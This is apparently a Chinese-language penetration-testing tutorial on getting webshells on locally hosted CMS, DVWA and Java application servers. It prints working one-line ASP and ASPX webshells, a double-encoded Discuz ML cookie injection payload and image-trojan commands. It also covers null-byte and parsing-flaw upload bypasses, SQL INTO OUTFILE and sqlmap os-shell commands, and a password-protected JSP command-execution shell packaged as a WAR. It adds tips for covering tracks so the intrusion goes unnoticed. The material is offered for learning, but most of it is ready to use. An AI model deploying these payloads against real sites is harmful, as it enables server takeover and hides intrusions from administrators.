Webshell是以php、asp、jsp等网站脚本文件形式存在的一种网页后门,使攻击者可以用web请求的方式与目标网站进行交互,控制网站服务器,进而执行上传工具、下载文件、执行命令等操作。
本文主要介绍在渗透测试过程中获取Webshell的基本思路,实战中还需就地取材,灵活应对。
获取Webshell的思路归根结底就是:在网站可访问的具体路径,上传或创建含有木马的动态脚本文件(php、asp、jsp等),然后用工具(蚁剑、菜刀等)连接或者直接访问脚本文件获取Webshell,在应用过程中要绕过WAF、防火墙等规则限制。
木马通常可以分为大马和小马,顾名思义大马功能多,但体积大特征明显,容易被查杀,小马功能简单,但是小巧隐蔽性强,所以一般可以通过小马上传大马。一句话木马就是典型的小马,虽然只有一句话,但是在蚁剑、菜刀等工具的加持下却可以实现文件上传下载、目录遍历等强大功能,常见一句话木马如:
php:
asp:<%eval request("cmd")%>
aspx:<% @Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
本文主要以php一句话木马为例,在本地搭建网站环境进行实验。
通过CMS获取Webshell的思路通常分为两类: 一类是针对特定版本的具体漏洞进行利用,完成如远程执行命令、数据库注入等操作;另一类则是通过弱口令或者漏洞利用进后台管理界面,然后通过上传插件、修改模板文件等方式上传木马脚本。这里例举3种常见的CMS:
WordPress版本5.5.3,登录后台管理界面:http://localhost/wp-admin/index.php
,选择上传插件Plugins -> Add New -> Upload Plugin
,或者上传主题Appearance -> Themes -> Add New -> Upload Theme
,然后浏览选择一句话木马脚本cmd.php,选择安装,尽管会报错提示Package未能成功安装,不过没关系,此时木马脚本已经成功上传了。
WordPress会根据当前时间将文件上传至特定目录,本例中已将脚本文件上传至${INSTALL_DIR}\htdocs\wp-content\uploads\2020\12
目录,蚁剑连接即可成功获取Webshell。
Joomla版本3.9.23,进后台管理界面:http://localhost/administrator/index.php
,修改Template模板文件,在Configuration -> Templates
中随便选择一个模板文件protostar,备份index.php,然后将一句话木马写入,蚁剑连接http://localhost/templates/protostar/index.php
,成功获取Webshell,注意之后要尽快将模板文件恢复以免暴露。
首先区分Discuz!和Discuz X,Discuz X是Discuz!和X-Space的结合版,是Discuz!的升级产品,Discuz X ML是基于Discuz X的多国语言版本。
这里以Discuz! X3.3 ML为例,其在2019年7月份曝出远程命令执行漏洞,在这个时间点之前发布的version≤3.4的Discuz X ML都受影响,原因是其未对请求中cookie头的language字段进行过滤,使输入内容直接被拼接写入缓存文件。
用Brup抓请求包,修改Cookie头中最后一个有language的字段5hjy_2132_language
,现将其值后边加上'.phpinfo().'
,然后Forward,可见服务器返回phpinfo()信息,证明漏洞存在,接下来就是写入一句话木马。
为绕过后台过滤,这里要为一句话木马进行两次url编码,代码为:
# 原始代码
'.file_put_contents('cmd.php',urldecode(' @eval($_POST[cmd]);?>')).'
# url二次编码
%27.file_put_contents%28%27cmd.php%27%2Curldecode%28%27%253c%253fphp+%2520%2540eval%28%2524_%2550%254f%2553%2554%255bcmd%255d%29%253b%253f%253e%27%29%29.%27
可以用Burp解码看下:
然后同样地,Brup截断请求包,将url二次编码内容连接到Cookie头中最后一个有language的字段5hjy_2132_language
,修改后Forward,浏览器页面正常显示,写入的一句话脚本在网站根目录下,用蚁剑连接http://localhost/discuz-ml/cmd.php
,成功获取Webshell。
(以DVWA作为实验平台)
首先上传脚本文件,如果可以直接上传,或者用Burp截断请求修改文件格式 (文件类型、大小写、加空格等) 绕过过滤规则,这种限制不严格的规则一般是后台过滤白名单导致的,或者修改前台JS过滤规则,就可以成功上传,这样当然最好,确定路径后直接用工具相连就可以了,但是现在很难找到防护这么弱的网站,最起码要绕个小圈子,比如可以先上传图片木马,可以用工具或命令行在一张普通图片中插入一句话木马,命令如下:
copy test.jpg /b + oneword.php /a test.jpg
注意下面的命令是错误的:
copy /b test.jpg + oneword.php test1.jpg
用编辑器打开test.jpg图片,可以发现图片末尾已经插入了一句话:
对比用错误命令制作的test1.jpg图片,末尾插入的一句话如下:
然后将制作好的图片木马通过上传点上传(用Burp Repeater查看回复可能会看到上传的路径),因为jpg文件是不能被当做脚本语言解析运行的,所以要运行图片中的脚本必须要将其转换为php格式,此时可以尝试以下思路:
要确认是否成功上传,可以通过访问上传的文件,看是否返回404来判断;访问网站中存在的路径时,请求的url会自动加上/
,如访问http://localhost/upload
,如果upload目录确实存在,访问后url会变成http://localhost/upload/
。
一些旧版本服务器对脚本文件的名称解析规则设置不严格,导致通过非常规途径上传的文件可以被当成脚本文件解析。已经暴出有解析漏洞的服务器及其版本如下:
IIS 6.0
test.asp;.jpg
会被解析成asp脚本文件.asp .asa .cer
的,其路径下的文件都会被当成脚本文件解析,如:/test.asp/test.jpg
中,test.jpg
会被解析为asp脚本文件.asp
—> .asa .cdx .cer
.aspx
—> ashx asmx ascx
.php
—> .php1 .php3 .phtml
.jsp
—> jspx jspf
IIS 7.0
IIS 7.5
Nginx <=0.8.37
php.ini
文件中cgi.fix_pathinfo=1
的情况下,在一个文件路径后面加上/xx.php
,php会将该文件解析为脚本文件,如:先利用上传漏洞上传木马文件test.jpg
,然后在访问该文件时路径变为test.jpg/.php
,则服务器会将test.jpg
解析为php脚本Nginx 0.5.*
Nginx 0.6*
Nginx 0.7<=0.7.65
Nginx 0.8<=0.8.37
%00.php
,nginx会将该文件解析为脚本文件,如:先利用上传漏洞上传木马文件test.jpg
,然后在访问该文件时路径改为test.jpg%00.php
,则会将test.jpg
解析为php脚本Apache 1.xx/2.xx
test.php.jpg
会被解析为test.php
后台语言有些函数在处理字符串时,会把0x00
当做结束符处理(注意0x00
是十六进制编码表示方法,是ascii为0的字符,在GET请求中0x00
要变为URL编码00%
,在POST请求中要利用HEX编辑器使其为0x00
),我们可以利用这个特点截断修改Request,使得服务器后台处理后,将上传的文件保存为以asp、php、aspx
作为尾缀的文件,从而使其可以被当成脚本文件解析。
利用Burp截断上传文件过程中的Request,转发到Repeater,反复修改尝试,观察Request中的文件名和路径等变量和Response中的上传文件最终路径的关系,当判断服务器后台将上传文件保存的最终路径为拼接目录和上传的文件名时,可以利用Burp Repeater先将文件路径写入拼接目录,然后在HEX视图中,将文件路径.php
后的字符改为0x00
,这样拼接后的上传文件完整路径字符串形如:../uploads/xxx.php%00/20190818.jpg
,而后台在处理时会将0x00
截断的目录名../uploads/xxx.php
当成最终的文件路径。如下例所示:
利用Burp Repeater反复修改Request中的变量信息,观察Response,判断后台处理后将上传文件保存的最终路径为filepath+filename
,于是尝试将filepath
名称改为要生成的脚本文件名称test.asp p
,这里以空格和p结尾纯粹是为了在HEX视图下便于找到该位置进行截断,空格的ascii为0x20
,再强调一遍这里修改的是文件路径名,而不是文件名,如下所示:
切换到HEX视图,将空格的字节位置改为00
,对上传文件的最终拼接路径进行截断,然后选择go,查看Response发现已成功上传,用蚁剑进行连接Response中成功上传文件的路径,即可获取Webshell。
如果可以利用本地包含漏洞,将jpg文件当做php脚本解析运行,则可以将一句话木马修改为以下形式:
$counter_file='cmd.php';
$fopen=fopen($counter_file,'wb');
fputs($fopen,'');
fclose($fopen);
?>
目的是在解析执行脚本文件时新生成一个脚本文件,用于工具连接。实验中利用上述脚本生成图片木马并上传,security可以选择high,上传后直接可以看到路径:
然后转到DVWA文件包含界面,security选择medium,url中page的参数修改为刚刚文件上传的路径,因为medium级别过滤掉了./
,所以page路径改为..//..//hackable/uploads/test1.jpg
,正常解析运行后会出现乱码:
这时会在当前页面目录http://localhost/dvwa/vulnerabilities/fi/
,生成用于工具连接的脚本文件,用蚁剑进行连接,成功获取Webshell。
通常在后台管理界面,通过备份数据库等操作,将上传的jpg文件转储为php格式,这样在确定绝对路径后就可以直接用工具连接,当然这种方法首先要登录管理后台。
一般是因为服务端对上传文件名过滤不严格,导致可以上传其他格式的配置文件,从而修改服务器配置。
Apache
.htaccess
文件:Apache中的一个配置文件,负责相关目录下的网页配置。通过上传.htaccess
文件,可以在上传目录下实现任意文件动态解析,注意启用.htaccess
配置需要修改httpd.conf
,在其中启用AllowOverride all
。例如下述配置可以匹配文件名中包含123的文件,使其解析为php脚本,如果成功上传图片木马123.jpg,则直接访问123.jpg则会以php脚本解析:
<FilesMatch "123">
SetHandler application/x-httpd-php
FilesMatch>
找到注入点后,采用UNION
语句将木马脚本写入文件,DVWA环境security选择low,然后注入点输入以下命令:(UNION SELECT
内容的列数要和当前表列数一致)
1' UNION SELECT 1,'' INTO OUTFILE 'c:\\xampp\\htdocs\\cmd.php'#
命令成功执行,若当前用户有写入文件的权限,则会创建木马脚本,蚁剑连接成功获取Webshell。
方法一:利用sqlmap的--file-write
和--file-dest
参数写入脚本文件,命令执行后会提示是否检查文件已成功写入,sqlmap使用这个方法写入是最直接有效的:
sqlmap -r ~/post.txt -p id --file-write=cmd.php --file-dest="D:\\www\\upload\\cmd.php"
方法二:利用sqlmap获取os shell,之后再用命令写入:
尝试获取os shell,然后执行系统命令写入文件,命令如下:
sqlmap -r ~/post.txt -p id --dbms=mysql --os-shell
echo '$_POST["cmd"]); ?>' > 'c:\xampp\htdocs\cmd.php'
但是在实验过程中提示没有写入权限, 明明是root用户,sql注入都能成功写入的,但是用sqlmap却不可以,很奇怪。
方法三:获取sql shell,执行sql语句写入文件,命令如下:
sqlmap -r ~/post.txt -p id --dbms=mysql --sql-shell
SELECT '$_POST["cmd"]); ?>' INTO OUTFILE 'c:\\xampp\\htdocs\\cmd.php';
发现可以获取sql shell,但是写入文件时会提示在不支持堆叠查询的情况下,无法完成SELECT INTO OUTFILE
的命令,晕。。
自动化工具sqlmap虽然方便,但是流量明显有时候会被拦,一些情况下手动注入效率更高。
SQL语句写脚本文件需要知道其绝对路径,所以首先要确认网站目录,可以从以下几个方面入手:
(1)WEB默认目录
Apache:
Windows:C:\wamp64\www\
(Wamp Server)、C:\xampp\htdocs\
(XAMPP)、C:\Program Files\Apache Software Foundation\Apachex.x\htdocs\
Linux:/opt/lampp/htdocs
(LAMPP)、/var/www/
IIS:C:\inetpub\wwwroot\
(2)SQL注入点暴路径
对于存在SQL注入漏洞的页面,可以尝试构造错误参数,在报错提示信息中可能存在路径信息:
para=-1
para=-999
para=1'
(3)查询特殊变量
如mysql中的全局变量secure_file_priv
和general_log_file
:其中secure_file_priv
限制了sql语句的可写路径,若该变量有值,则文件只允许写入到该目录下(子目录也不行),如果变量值为NULL,则为禁止导出,如果为空,则不限制导出;general_log_file
为日志文件输出路径,一般都会有值。
可以通过 select @@VARIABLE_NAME
或者 show variables like "VARIABLE_NAME"
语句查询变量值,从而确定可写目录的绝对路径。
(4)暴phpinfo信息
对于PHP网站,可以扫描phpinfo信息,很多网站都用phpinfo.php当测试文件,手动测试或用DirBuster、御剑等工具扫描网站子目录查找,如:
www.host.com/test.php
www.host.com/info.php
www.host.com/phpinfo.php
www.host.com/1.php
phpinfo界面有网站根目录信息:
(5)Phpmyadmin暴路径
在获取Phpmyadmin界面后,可以尝试访问以下子目录,某些版本可能会暴出网站路径信息:
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/index.php?lang[]=1
/phpmyadmin/phpinfo.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
(6)CMS暴路径
根据不同版本的CMS针对性进行扫描,寻找其带有路径配置信息的界面,网上可以找到很多,如:
WordPress
/wp-admin/includes/file.php
/wp-content/themes/twentynineteen/footer.php
DedeCMS
/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/paycenter/nps/config_pay_nps.php
ECShop
/api/cron.php
/wap/goods.php
/temp/compiled/pages.lbi.php
/temp/compiled/admin/login.htm.php
(7)查看配置文件
如果注入点有查看文件的权限,可以通过SQL命令查看网站目录的配置文件,常见平台的配置文件如:
C:\wamp64\bin\apache\apache2.4.37\conf\httpd.conf
C:\xampp\apache\conf\httpd.conf
C:\windows\system32\inetsrv\metabase.xml
,之后配置文件在C:\windows\system32\inetsrv\config\applicationhost.config
/opt/lampp/etc/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/php.ini
以DVWA环境为例,security选择low,在注入点用UNION
拼接注入语句:
1' UNION SELECT 1,load_file('C:\\xampp\\apache\\conf\\httpd.conf')#
进入后台用SQL命令写入一句话木马:
SELECT '' INTO OUTFILE 'c:\\xampp\\htdocs\\cmd.php';
注意刚开始运行时可能会提示The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
,这是因为配置了secure_file_priv
变量,该变量可以限制MYSQL语句导出文件,在console控制台用命令查看:
或者用命令select @@secure_file_priv;
查看,可见secure_file_priv
的值为c:\wamp64\tmp\
,文件只允许导出到该目录下(子目录也不行);如果Value值为NULL,则为禁止导出;如果为空,则不限制导出。
所以解决办法要么将文件导出到指定的目录,要么修改secure_file_priv
变量,该变量是只读属性,只能在my.ini
中配置:secure_file_priv=""
,然后重启服务。然后就可以正常写入脚本文件了,最后用蚁剑连接成功获取Webshell。
利用日志记录生成木马脚本文件,在变量搜索中查询general
,启用general log
日志记录选项,并将日志生成文件general log file
修改为要生成的木马脚本,然后在控制台输入查询语句SELECT ''
,设置的日志文件会记录该命令,也就是写入到了刚设置的木马脚本文件中,最后用蚁剑连接成功获取Webshell。
注意在命令运行后要及时恢复日志文件配置,不然日志大量输出,很容易引起警觉。
Tomcat用户配置有不同角色,以便区分权限,只有manager-gui
角色的用户才可以进Tomcat后台管理界面。在Tomcat7之后,初始配置中不再有manager-gui
角色用户,用户需要在${INSTALL_DIR}/conf/tomcat-users.xml
文件中添加配置后才可以使用该角色进后台管理界面:
<user username="root" password="password" roles="manager-gui" />
Tomcat版本8.5,进http://localhost:8080/manager/html
管理界面后,在要部署的WAR文件
中选择有jsp木马脚本的WAR文件(将jsp脚本文件制作压缩包,然后尾缀改为war即可)。
部署成功后,Tomcat会将WAR文件上传至${INSTALL_DIR}/webapps
目录,并将WAR文件自动解压生成同名目录。
要提前备好一些功能强大好用的jsp木马脚本,上传后用浏览器访问,输入脚本中配置的用户和密码即可获取Webshell,注意因为jsp无法像php、asp那样将提交的参数直接当成命令执行,所以无法写成类似用菜刀、蚁剑直连的短小精悍的一句话木马,只能将执行命令写在脚本文件中,所以通常比较大。
这里以执行系统命令且带密码和回显的jsp脚本为例:将以下代码写入脚本cmd.jsp,生成WAR包web.war并在Tomcat后台管理界面上传部署。
<%
if("pass".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(""
);
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
提示部署成功后,网页访问http://localhost:8080/web/cmd.jsp?i=whoami&pwd=pass
,可以看到命令正常回显,但是权限受限,只能执行基本命令。
(网上有很多文章提到菜刀可直连的jsp脚本,但是在实验过程中无论是用菜刀还是蚁剑都没有成功连接,Tomcat版本为8.5.59,不明为何)
Weblogic版本14.1.1,进http://localhost:7001/console
管理界面后,选择部署
–>安装
,浏览选择要上传的WAR文件,这里的WAR文件与上一节相同,其中jsp脚本的功能都是执行系统命令且带密码和回显,按照默认提示一步步完成WAR文件的部署。
随后在浏览器访问http://localhost:7001/cmd/cmd.jsp?pwd=pass&i=whoami
,可以看到命令正常回显。
首先区分JBoss不同版本名称JBoss AS、Wildfly和JBoss EAP:JBoss AS是开源社区版本WEB应用服务器,继2012年发布7.0版本后,更名为Wildfly,而JBoss EAP是在开源版本基础上构建的商业版。
这里以WildFly 10.0.0为例,进http://localhost:9990/console
管理界面后,选择Deployments
标签页中的添加选项,按照提示选择要上传的WAR文件,与上一节相同,其中jsp脚本的功能都是执行系统命令且带密码和回显,可以看到命令正常回显。